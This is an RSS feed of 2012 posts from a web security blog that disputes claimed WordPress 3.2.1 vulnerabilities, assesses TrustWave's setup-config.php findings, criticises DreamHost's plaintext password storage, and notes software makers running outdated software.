<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
>

<channel>
	<title>White Fir Design Web Security Blog</title>
	<atom:link href="http://www.whitefirdesign.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.whitefirdesign.com/blog</link>
	<description>A critcal look at the state of website security.</description>
	<lastBuildDate>Mon, 06 Feb 2012 19:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
		<item>
		<title>Websense&#8217;s Claim of Vulnerability in WordPress 3.2.1 Completely Baseless</title>
		<link>http://www.whitefirdesign.com/blog/2012/02/06/websenses-claim-of-vulnerability-in-wordpress-3-2-1-completely-baseless/</link>
		<comments>http://www.whitefirdesign.com/blog/2012/02/06/websenses-claim-of-vulnerability-in-wordpress-3-2-1-completely-baseless/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 19:51:18 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1279</guid>
		<description><![CDATA[Last week Websense published a post 3-2-1 WordPress vulnerability leads to possible new exploit kit written by Stephan Chenette their Principal Security Researcher, which made a the claim that there were publicly available vulnerabilities for WordPress 3.2.1 and that a &#8230; <a href="http://www.whitefirdesign.com/blog/2012/02/06/websenses-claim-of-vulnerability-in-wordpress-3-2-1-completely-baseless/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last week Websense published a post <a href="http://community.websense.com/blogs/securitylabs/archive/2012/01/30/3_2D00_2_2D00_1-wordpress-vulnerability-leads-to-possible-new-exploit-kit.aspx">3-2-1 WordPress vulnerability leads to possible new exploit kit</a> written by Stephan Chenette their Principal Security Researcher, which made a the claim that there were publicly available vulnerabilities for WordPress 3.2.1 and that a malware infection was hitting only WordPress 3.2.1 based websites. Their post lead to articles in <a href="http://www.scmagazine.com/wordpress-attacks-try-to-infect-users-with-dangerous-rootkit/article/225857/">SC Magazine</a> and <a href="http://www.pcworld.com/businesscenter/article/249024/hackers_infect_wordpress_321_blogs_to_distribute_tdss_rootkit.html">PC World</a> repeating the claims.</p>
<p>Previously we discussed <a title="Claims of Vulnerability in WordPress 3.2.1 Supported by False Information" href="http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/">the fact that the claimed &#8220;publicly available exploits&#8221; did not actually exist</a>. It&#8217;s worth taking a more in depth look at that claim because if there were standards for security researchers than Websense&#8217;s Principal Security Researcher would likely have been grossly negligent in this situation.</p>
<p>After our previous post we were still curious with the possibility that there might be a vulnerability in WordPress 3.2.1 based on their claim that all the websites with this particular infection were running WordPress 3.2.1. We looked into this and have found that this is also false. Our finding on that also raises serious questions as to how their researcher could have come to have that conclusion.</p>
<p>What Stephan Chenette and Websense have done by making these baseless claims is highly inappropriate. It is a serious charge to make that software, even if it is an out of date version, has such a serious security vulnerability. To do that based on such blatantly incorrect information and with a complete lack of due diligence is inexcusable and should lead to repercussions for everyone involved in creating and spreading these falsehoods.</p>
<h2>Publicly Available Exploits for WordPress 3.2.1?</h2>
<p>In the post Chenette said that “Based on my analysis, the site was compromised because it was running an old version of WordPress (3.2.1) that is vulnerable to publicly available exploits [<a href="http://www.exploit-db.com/exploits/17970/" target="_blank">1</a>] [<a href="http://www.exploit-db.com/exploits/18231/" target="_blank">2</a>].”.</p>
<p>The exploits Chenette is citing come from <a href="http://www.exploit-db.com/">Exploit Database</a>. That website and other similar websites that list claimed vulnerabilities in software include submissions that have not been verified to be actually exploits before being published. Exploit Database includes vulnerability reports that are completely false, like <a href="http://www.exploit-db.com/exploits/18039/">this submission</a> that claimed that the WordPress plugin WP Touch contained a vulnerability in a file despite the <a href="http://www.bravenewcode.com/2011/10/wptouch-recent-bogus-security-vulnerability-report/">fact that the file that doesn&#8217;t even exist in the plugin</a>. Anyone serious about security research would verify the vulnerability found on one these websites actually exists before citing it. Those reports also shouldn&#8217;t be cited by news organizations unless this has been done.</p>
<p>We know that Chenette didn&#8217;t verify these vulnerabilities because if he had attempted to verify the vulnerabilities he would have seen that vulnerabilities mentioned <strong>were not in WordPress 3.2.1 or WordPress at all</strong>. Instead these vulnerabilities where for WordPress plugins WP-SpamFree and UPM-POLLS. He would have also known if he had just looked at the titles of the exploit reports, which are “WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability” and “Wordpress UPM-POLLS Plugin 1.0.4 Blind SQL Injection”. What it looks he did was to do a <a href="http://www.google.com/search?q=site:www.exploit-db.com+wordpress+3.2.1">search for WordPress 3.2.1 for that website</a> and just grabbed those results without bothering to look at what they were. If this is level of research Websense&#8217;s Principal Security Researcher does, we would hate to see what the subordinates are doing.</p>
<p>There is no evidence that those plugins were exploited on the infected websites and when we checked a few of the websites that we were listed in the Websense post the plugins didn&#8217;t even appear to on the websites. In any case because the vulnerabilities are in plugins, if you had plugin installed that was exploitable you would be just a vulnerable whether you were running WordPress 3.2.1, WordPress 3.3.1, or another version.</p>
<h2>All The Websites Running WordPress 3.2.1?</h2>
<p>The post claimed that all the websites with this infection were running WordPress 3.2.1. If this were true it could be an indication that the infection of the websites was due to an exploit of something specific to WordPress 3.2.1, even though the claimed publicly available exploits did not exist.</p>
<p>As we mentioned in the previous post there are a number of possible explanations why all the infected websites would be running WordPress 3.2.1 without there being an exploit of something in WordPress 3.2.1.</p>
<p>The other possibility is that Websense post was incorrect in claiming all the website were running WordPress 3.2.1. In our previous post we found that for the other claim of a WordPress 3.2.1 vulnerability, by M86 Security Labs, the sample list of infected websites did not contain only websites recently running WordPress 3.2.1 as claimed. In Websense&#8217;s case we found that the sample list of 11 websites, included with their post, to have all been running WordPress 3.2.1 recently.</p>
<p>Because the possibility of a remotely exploitable vulnerability in WordPress 3.2.1 is such a serious issue we wanted to look further into the possibility that this infection was in fact due to an exploit of WordPress 3.2.1 as implicated by Websense&#8217;s post. The best way to check for this would be to review the HTTP log of an infected website. If an exploit of WordPress 3.2.1 had been the cause that should be discernible in the log. So far we have not cleaned up any websites with this infection, so we haven&#8217;t had a chance to do that.</p>
<p>If we could find websites running an earlier version of WordPress (if a website is running a new version it could have been upgraded after the exploit) or not running WordPress at all then that would mean the infection is not limited to WordPress 3.2.1 and likely point to the infection having nothing to do with an exploit of WordPress 3.2.1.</p>
<p>To find websites that contained this infection we looked at Google&#8217;s Safe Browsing Diagnostic data. This data includes a few example of website they have found to contain a certain infection. We started with the <a href="http://www.google.com/safebrowsing/diagnostic?site=ecdinc.osa.pl">data</a> for the domain listed in Websense&#8217;s post . Two of those domains were now running WordPress 3.3.1. The third doesn&#8217;t appear to run WordPress, but it was down so we couldn&#8217;t confirm if it contained the malware. We then look at the reports for <a href="http://www.google.com/safebrowsing/diagnostic?site=sixsigmasola.osa.pl/">three</a> <a href="http://www.google.com/safebrowsing/diagnostic?site=relhadores.osa.pl/">more</a> <a href="http://www.google.com/safebrowsing/diagnostic?site=cancerdemama.osa.pl/">domains</a> involved.</p>
<p><strong>Of the 11 websites that we checked, that appear to had been infected with the malware based on Google&#8217;s data, we found 2 were currently infected with the malware and were not running WordPress 3.2.1 or above</strong>. We found http://www.weightloss-blogs.org/ which was running WordPress 3.1.3 and contained the malware at the time we checked. This shows that the exploit could not be something specific to WordPress 3.2.1. We also found http://victoryaog.org/joomla/, which as you might guess from the URL is running Joomla instead of WordPress and contained the malware at the time we checked. This shows that it is not something specific to WordPress. We found more that were not running WordPress at all, but were not currently infected so we can&#8217;t be totally sure they were infected. Our results show that Websense&#8217;s claim that this is infection is specific to websites running WordPress 3.2.1 be baseless.</p>
<p>That finding also raises questions about their data. How could they have found 100+ websites, including the sample list of 11 websites, all running WordPress 3.2.1 but with a much sample set of only 11 we found 2 confirmed instances where this wasn&#8217;t the case? They are a few possibilities we could think of.</p>
<p>One possibility is that their data is not very representative of the Internet as a whole, which would make the data unreliable for research purposes and make any reports based on it unreliable as well.</p>
<p>Another possibility is that their system for reviewing their data is flawed or the person doing the analysis screwed up. Maybe they only looked for websites running WordPress 3.2.1, in which case obviously all the infected websites they looked at would be running WordPress 3.2.1. WordPress powers many websites, so finding 100+ that were infected wouldn&#8217;t be surprising.</p>
<p>The most troubling possibility, and we need to emphasize that we don&#8217;t have any evidence of this, is that their data didn&#8217;t actually show that all the website were running WordPress 3.2.1 and they intentionally created a sample list of websites that only contained websites running WordPress 3.2.1.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2012/02/06/websenses-claim-of-vulnerability-in-wordpress-3-2-1-completely-baseless/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Looking at the Claimed WordPress setup-config.php Security Issues</title>
		<link>http://www.whitefirdesign.com/blog/2012/02/03/looking-at-the-claimed-wordpress-setup-config-php-security-issues/</link>
		<comments>http://www.whitefirdesign.com/blog/2012/02/03/looking-at-the-claimed-wordpress-setup-config-php-security-issues/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 22:09:14 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Website Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1241</guid>
		<description><![CDATA[Last week TrustWave&#8217;s SpiderLabs claimed that there were multiple vulnerabilities in WordPress 3.3.1 and below. Their report was also discussed in a post on threatpost. Unlike the Websense and M86 Security Labs reports of a vulnerability in WordPress 3.2.1 that &#8230; <a href="http://www.whitefirdesign.com/blog/2012/02/03/looking-at-the-claimed-wordpress-setup-config-php-security-issues/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last week TrustWave&#8217;s SpiderLabs <a href="https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt">claimed that there were multiple vulnerabilities in WordPress 3.3.1 and below</a>. Their report was also discussed in a <a href="http://threatpost.com/en_us/blogs/multiple-bugs-haunt-wordpress-setup-012512">post</a> on threatpost. Unlike the <a title="Claims of Vulnerability in WordPress 3.2.1 Supported by False Information" href="http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/">Websense and M86 Security Labs reports of a vulnerability in WordPress 3.2.1</a> that were based on false information, these claims are based on factual information but the issues are presented in a way that we consider to be misleading.</p>
<p>What should have been made very clear by TrustWave and threatpost is that the possible security issues only exist if you have placed the WordPress files on your website but have not <a href="http://codex.wordpress.org/Installing_WordPress#Step_5:_Run_the_Install_Script">run the install script</a>. <strong>If you are currently running WordPress this is not an issue in your installation</strong>.</p>
<p>If for some reason you have an extra copy of WordPress on the website that has never been used and someone could determine where that it is then this could be an issue. You should remove that copy, as you should with any software on your website that is not being used</p>
<p>Here are the findings made in TrustWave&#8217;s SpiderLabs&#8217; report and some possible mitigations for the issues raised:</p>
<h2>Finding 1</h2>
<blockquote><p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install WordPress in local or remote MySQL databases. This typically requires a user to have valid MySQL credentials to complete.  However, a malicious user can host their own MySQL database server and can successfully complete the WordPress installation without having valid credentials on the target system.</p>
<p>After the successful installation of WordPress, a malicious user can inject malicious PHP code via the WordPress Themes editor.  In addition, with control of the database store, malicious Javascript can be injected into the content of WordPress yielding persistent Cross Site Scripting.</p></blockquote>
<p>What this is saying is that if the WordPress files are on a website and the install script has not been run someone else could run it. They could have WordPress connect to a database sever they control during the install and then they would we be able to place PHP code or JavaScript code on the website. <strong>As far as we can tell what they are describing would also be equally true of Joomla, Drupal, and other web software because they have similar web based installers</strong>.</p>
<p>It is not uncommon for WordPress to be setup with a remote database server, so removing or restricting the ability to do that would not seem to be advisable.</p>
<p>One possible mitigation for this vulnerability be to require the person using the install script to add or modify a file on the website to confirm that they have control of the website before proceeding through it. A similar mitigation would be to require the database credentials be entered into a file on the website instead of through the web installer. Either of those would make the installation process more complicated for users without providing any security benefit for anyone that promptly runs the install script after putting the WordPress files on a website.</p>
<h2>Finding 3</h2>
<blockquote><p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install WordPress in local or remote MySQL databases. When using this installation page the user is asked to supply the database name, the server the database resides on, and a valid MySQL username and password.</p>
<p>Malicious users can omit the &#8220;dbname&#8221; parameter during this process, allowing them to continually bruteforce MySQL instance usernames and passwords. This includes any local or remote MySQL instances which are accessible to the target web server. This can also be used as a method to proxy MySQL bruteforce attacks against other MySQL instances outside of the target organization.</p></blockquote>
<p>What this is saying is that if the WordPress files are on a website and the install script has not been run someone could use install script to make login attempts on a local or remote database server.</p>
<p>In addition to the mitigations mentioned for Finding 1, it would be possible to place limits on the number of attempts to log in into database servers with the installer. That would add complication to the installation process without providing any security benefit for anyone that promptly runs the install script after putting the WordPress files on the website.</p>
<h2>Finding 2</h2>
<blockquote><p>The WordPress &#8216;setup-config.php&#8217; installation page allows users to install WordPress in local or remote MySQL databases. When using this installation page the user is asked to supply the database name, the server that the database resides on, and a valid MySQL username and password.</p>
<p>During this process, malicious users can supply javascript within the &#8220;dbname&#8221;, &#8220;dbhost&#8221; or &#8220;uname&#8221; parameters. Upon clicking the submission button, the javascript is rendered in the client&#8217;s browser.</p></blockquote>
<p>What this is saying is that if the WordPress files are on a website and the install script is not run someone could create POST requests to the install script page which cause arbitrary JavaScript to included on the page in response to that request.</p>
<p>It seems like it should be possible to sanitize these parameters to prevent the described issue, but it doesn&#8217;t seem like this would be likely to be exploited as it would make more sense to exploit the issue mentioned in Finding 1. Exploiting the issue in Finding 1 would allow arbitrary JavaScript to be placed on pages without requiring a POST request, which would be easier and evade cross-site scripting (XSS) filters built-into some web browsers, as well as allowing other things to be done which are more of a concern then being able to place arbitrary JavaScript on a page.</p>
<h2>WordPress&#8217; Response</h2>
<p>WordPress responded to the report by stating that &#8220;We give priority to a better user experience at the install process. It is unlikely a user would go to the trouble of installing a copy of WordPress and then not finishing the setup process more-or-less immediately. The window of opportunity for exploiting such a vulnerability is very small.&#8221;</p>
<p>We largely agree with WordPress&#8217; view. We would further say that trying to make this a WordPress issue seems inappropriate as the most serious claim is related to having a user friendly web based install script, which is common among web software, rather than something specific to WordPress. If TrustWave&#8217;s SpiderLabs believes this is a serious issue they should have raised it instead of trying to make this into an issue with WordPress.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2012/02/03/looking-at-the-claimed-wordpress-setup-config-php-security-issues/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Claims of Vulnerability in WordPress 3.2.1 Supported by False Information</title>
		<link>http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/</link>
		<comments>http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 23:07:21 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1250</guid>
		<description><![CDATA[In the past few days they have been two reports of a vulnerability in WordPress 3.2.1. In looking into these we found that the claims to be supported by false information and no evidence of a vulnerability in WordPress 3.2.1 &#8230; <a href="http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In the past few days they have been two reports of a vulnerability in WordPress 3.2.1. In looking into these we found that the claims to be supported by false information and no evidence of a vulnerability in WordPress 3.2.1 was presented. A number of news organization including <a title="Our First WordPress Plugin Security Bug Bounty Payouts" href="http://www.scmagazine.com/wordpress-attacks-try-to-infect-users-with-dangerous-rootkit/article/225857/">SC Magazine</a>, <a href="http://www.theregister.co.uk/2012/01/31/wordpress_vuln_phoenix/">The Register</a>, and <a href="http://www.pcworld.com/businesscenter/article/249024/hackers_infect_wordpress_321_blogs_to_distribute_tdss_rootkit.html">PC World</a> repeated the claims without bothering to check the information for themselves. We still would recommend that anyone running an outdated version of WordPress upgrade to version 3.3.1 (which one of the security companies making the claims hasn&#8217;t done itself) and to make sure you keep all the software on your websites up to date at all times.</p>
<h2>Websense</h2>
<p>The first claim is by the Principal Security Researcher at Websense. In their <a href="http://community.websense.com/blogs/securitylabs/archive/2012/01/30/3_2D00_2_2D00_1-wordpress-vulnerability-leads-to-possible-new-exploit-kit.aspx">post</a> it is stated that &#8220;Based on my analysis, the site was compromised because it was running an old version of WordPress (3.2.1) that is vulnerable to publicly available exploits [<a href="http://www.exploit-db.com/exploits/17970/" target="_blank">1</a>] [<a href="http://www.exploit-db.com/exploits/18231/" target="_blank">2</a>]&#8220;. Looking at the exploit reports they are for <strong>two WordPress plugins not for WordPress itself</strong>, so the analysis is fundamentally wrong.</p>
<p>If those exploits actually work (we didn&#8217;t test them) then it wouldn&#8217;t matter what version of WordPress you were running only if you were running the vulnerable version of the plugins. We checked a few of the sample websites they listed and it did not appear that they were running either of those plugins.</p>
<p>Their other evidence that the exploit was something related to WordPress 3.2.1 is the claim that all of the website were running that version of WordPress. If this is true (the sample list of 17 websites they provided were all recently running WordPress 3.2.1) it doesn&#8217;t necessarily mean that the hack was related to something in WordPress 3.2.1 or WordPress at all.</p>
<p>One likely possibility is that they are all running some other outdated software, maybe a WordPress plugin, that contain a vulnerability. Websites running an outdated version of WordPress are more likely to have not kept other software on the websites up to date as well.</p>
<p>WordPress and WordPress 3.2.1 run on many websites so it also could be that some other type of exploit, like compromised FTP credentials or hacked hosting providers, could be the source. We know that sometimes hackers specifically target WordPress installations when using non-WordPress related exploits, something that <a title="Websense Threat Report Repeats False Claims of WordPress Hackings" href="http://www.whitefirdesign.com/blog/2010/11/15/websense-threat-report-repeats-false-claims-of-wordpress-hackings/">Websense has in the past falsely claimed as being an exploit of WordPress itself</a>.</p>
<h2>M86 Security Labs</h2>
<p>The second claim comes from M86 Security Labs. In their <a href="http://labs.m86security.com/2012/01/massive-compromise-of-wordpress-based-sites-but-%E2%80%98everything-will-be-fine%E2%80%99/">post</a> they state that &#8220;A few days ago, hundreds of websites, based on WordPress 3.2.1, were compromised. &#8221; We checked what version of WordPress the sample list of 33 website they included in their post were running. We found that many of them were not running WordPress 3.2.1. Here is the breakdown:<strong></strong><br />
<strong>3.3.1:</strong> 7<br />
<strong>3.3:</strong> 2<br />
<strong>3.2.1:</strong> 8<br />
<strong>3.2:</strong> 1<br />
<strong>3.1.1:</strong> 1<br />
<strong>3.0.3:</strong> 2<br />
<strong>3.0.1:</strong> 1</p>
<p>They were also 11 websites that were inaccessible at the time we checked. Of 22 we could check, less than half were running 3.2.1. Nine were running newer versions and five were running older versions. It possible that the ones running newer versions were upgraded after they were exploited, but it makes no sense that websites running older versions were running 3.2.1 at the time of the exploit. This clearly indicates that the<strong> websites were not all running WordPress 3.2.1 as claimed</strong> and that exploit is not something specific to 3.2.1. It is possible that it could be related to something that existed in 3.2.1 and below, but there is no evidence provided by them to support that.</p>
<p>If you visit the M86 Security Labs Blog with our <a href="http://www.whitefirdesign.com/meta-generator-version-check">Meta Generator Version Check extension</a> (available for <a href="https://addons.mozilla.org/addon/meta-generator-version-check/">Firefox</a> and <a href="https://chrome.google.com/webstore/detail/fahebfpoehlhpngkmdgldkkilflkelbl">Chrome</a>) you would get an alert the blog is running an outdated version of WordPress, 3.1.3.</p>
<p><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/02/m86-security-labs-blog-wordpress-version1.png"><img class="aligncenter size-full wp-image-1262" title="M86 Security Labs Blog WordPress Version" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/02/m86-security-labs-blog-wordpress-version1.png" alt="M86 Security Labs Blog WordPress Version" width="500" height="150" /></a>If they really believe there is a vulnerability in outdated versions of WordPress why are they running an outdated version on their own blog?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2012/02/02/claims-of-vulnerability-in-wordpress-3-2-1-supported-by-false-information/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>DreamHost Does Store Non-Hashed Passwords</title>
		<link>http://www.whitefirdesign.com/blog/2012/01/23/dreamhost-does-store-non-hashed-passwords/</link>
		<comments>http://www.whitefirdesign.com/blog/2012/01/23/dreamhost-does-store-non-hashed-passwords/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 20:34:49 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1222</guid>
		<description><![CDATA[On Friday DreamHost reset all of their customers &#8220;FTP/shell access passwords&#8221; after they had unauthorized activity within one of their databases, the situation is discussed in blog posts on DreamHost Status blog and the The Official DreamHost Blog!. Since then there &#8230; <a href="http://www.whitefirdesign.com/blog/2012/01/23/dreamhost-does-store-non-hashed-passwords/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On Friday DreamHost reset all of their customers &#8220;FTP/shell access passwords&#8221; after they had unauthorized activity within one of their databases, the situation is discussed in blog posts on <a href="http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/">DreamHost Status blog</a> and the <a href="http://blog.dreamhost.com/2012/01/21/security-update/">The Official DreamHost Blog!</a>. Since then there have been questions and confusion as to whether DreamHost only stores passwords in their hashed form. While we have no way of knowing if the database they detected unauthorized activity stored non-hashed password there is no question that they store non-hashed passwords in their systems. It&#8217;s fairly easy to see that DreamHost is doing this and we will show you how you can check this for yourselves at the end of the post.</p>
<p>The fact that they stored passwords in a non-hashed form has been discussed for many years and DreamHost has so far has decided that insuring that they were follow proper security practices by only storing password hashes wasn&#8217;t necessary for whatever reason. It&#8217;s then not all to surprising that they had this most recent security incident and the other apparent security incidents they have had over the years. For some time we have listed DreamHost in our list of <a href="http://www.whitefirdesign.com/resources/web-hosting-providers-with-security-issues.html">web hosting providers with security issues</a> due to them storing non-hashed passwords.</p>
<p>One possible reason for some of the confusion from DreamHost is that they don&#8217;t understand the difference between encryption and hashing, in which case it they probably shouldn&#8217;t be handling the security of a website, much less that of a major web host.</p>
<p>While discussing DreamHost’s security it is also worth bringing up the fact that both of those blogs are running an outdated version of WordPress, 3.2.1. They are also are running an outdated and now unsupported release of MediaWiki, 1.16.5, on a <a href="http://wiki.dreamhost.com/Main_Page">portion of their website</a> (so are a <a title="Outdated Software Running on Websites of WordPress and Other Web Software" href="http://www.whitefirdesign.com/blog/2012/01/20/outdated-software-running-on-websites-of-wordpress-and-other-web-software/">number of the websites of web software</a>). In a message that was forwarded to us while we were cleaning up a hacked website for client recently, DreamHost had told them that they should make sure to keep web software running on their website up to date. Obviously DreamHost don&#8217;t feel it is important to follow the advice they give to their customers. If you want to see when websites are running out of date version versions of WordPress, MediaWiki, and other software check out our <a href="http://www.whitefirdesign.com/meta-generator-version-check">Meta Generator Version Check</a> web browser extension for <a href="https://addons.mozilla.org/addon/meta-generator-version-check/">Firefox</a> and <a href="https://chrome.google.com/webstore/detail/fahebfpoehlhpngkmdgldkkilflkelbl">Chrome</a>.</p>
<p>Considering DreamHost’s questionable security practices we would recommend that people avoid using their services until they have fixed these lapses in their security. We also don’t think that WordPress should be <a href="http://wordpress.org/hosting/">recommending them</a> or describing them to be one of the hosts that “represent some of the best and brightest of the hosting world”.</p>
<h2>What is Hashing?</h2>
<p>You can think of hashing as one way encryption.  To produce a hash you run a hash function on a specified value, in this situation it would be the value being set as a password. For example, using the MD5 hashing function the hash for the password value “password” would be “5f4dcc3b5aa765d61d8327deb882cf99”.</p>
<p>Unlike encryption, hashes are not meant to be decryptable and ideally you wouldn’t be able to determine what the password value was if you gained access to its hash. This is why it is important to store passwords as hashes. If they are stored them in a non-hashed way someone that gains access to them could easily use the passwords to log into your account, which has happened previously after web host’s were exploited, or if you use the same password on different systems they could potentially gain access to those as well. There are a number of ways to determine the underlying value of passwords hashes, so systems using hashing for passwords need to insure they follow best practices including making sure they use salts.</p>
<p>So how does a system know that the correct password was entered during a login attempt if they only have the hash? The answer is that when the login attempt is made the password you enter is run through the same hash function and then compared with the stored hash of the password. If the two are they same the login attempt will succeed. If you entered the wrong password the hashes would be different and it would fail.</p>
<p>If passwords are only stored in hashed form there will be no way for a provider to retrieve the password from storage that for you. The only instances where they could show you the password would be when they are generating a new password for you or if they show you the password in response to you entering it.</p>
<p>The most common place to see that passwords are being stored in non-hashed form is on pages for handling a situation where you forgot your password. If they can show or send you the password it means the password in being stored non-hashed in their systems. With web hosts we also sometimes see that passwords are visible somewhere in the control panel for the websites.</p>
<h2>Spotting Non-Hashed Password Storage at DreamHost</h2>
<p>From the DreamHost&#8217;s <a href="http://dreamhost.com/">homepage</a> click the <a href="https://panel.dreamhost.com/">Panel</a> link at the top and then click the <a href="https://panel.dreamhost.com/login/forgot.cgi?return_url=https%3A%2F%2Fpanel.dreamhost.com%2Findex.cgi">Forgot password</a> link. That page currently looks as follows:</p>
<p style="text-align: center;"><a href="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/dreamhost-forgot-password-page.png"><img class="aligncenter size-full wp-image-1232" title="DreamHost Forgot Password Page" src="http://www.whitefirdesign.com/blog/wp-content/uploads/2012/01/dreamhost-forgot-password-page.png" alt="DreamHost Forgot Password Page" width="700" height="336" /></a></p>
<p>If the password were only stored in the hashed form they wouldn&#8217;t be able to email you your password because they wouldn&#8217;t know what it was.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2012/01/23/dreamhost-does-store-non-hashed-passwords/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Outdated Software Running on Websites of WordPress and Other Web Software</title>
		<link>http://www.whitefirdesign.com/blog/2012/01/20/outdated-software-running-on-websites-of-wordpress-and-other-web-software/</link>
		<comments>http://www.whitefirdesign.com/blog/2012/01/20/outdated-software-running-on-websites-of-wordpress-and-other-web-software/#comments</comments>
		<pubDate>Fri, 20 Jan 2012 18:58:27 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MediaWiki]]></category>
		<category><![CDATA[Moodle]]></category>
		<category><![CDATA[phpBB]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Zen Cart]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1187</guid>
		<description><![CDATA[When the makers of web software talk about security they always emphasize the importance of keeping software updated. One of the developers of WordPress said it this way &#8220;The only thing that I can promise will keep your blog secure &#8230; <a href="http://www.whitefirdesign.com/blog/2012/01/20/outdated-software-running-on-websites-of-wordpress-and-other-web-software/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>When the makers of web software talk about security they always emphasize the importance of keeping software updated. One of the developers of WordPress said it this way &#8220;<a href="http://wordpress.org/news/2009/09/keep-wordpress-secure/">The only thing that I can promise will keep your blog secure today and in the future is upgrading.</a>&#8221; Keeping software updated is good advice, but isn&#8217;t advice that the software makers, including WordPress, always follow themselves.</p>
<p>We <a title="Does Security Really Matter to OpenX?" href="http://www.whitefirdesign.com/blog/2011/12/21/does-security-really-matter-to-openx/">recently mentioned</a> a pretty egregious example of this from OpenX. Their blog, where they recently said it is critical to keep software up to date, is running a version of WordPress that is over three years out of date. Also, the main portion of their website appears to be running a version of Drupal that is over a year out of date.</p>
<p>MediaWiki, the software the powers the Wikipedia, is run on portions of many web software websites so we decided that it would be a good choice to see if software makers are keeping other people&#8217;s software running on their website up to date. There are several ways to <a href="http://www.whitefirdesign.com/resources/check-what-version-of-mediawiki-you-are-running.html">check what version of MediaWiki is running</a> and the easiest way to check for outdated MediaWiki installations is to use our <a href="http://www.whitefirdesign.com/meta-generator-version-check">Meta Generator Version Check</a> web browser extension, available for <a href="https://addons.mozilla.org/addon/meta-generator-version-check/">Firefox</a> and <a href="https://chrome.google.com/webstore/detail/fahebfpoehlhpngkmdgldkkilflkelbl">Chrome</a>. The extension will show a warning icon when a web page has a meta generator tag from an outdated version of web software.</p>
<p>For those not familiar with MediaWiki they currently provide security updates for the two most recent releases 1.17.x and 1.18.x. The most recent version of those releases 1.17.2 and 1.18.1, both of which were released on January 11. We update our web browser extension a month after a new version is released, so until then it will check for MediaiWiki versions below 1.17.1.</p>
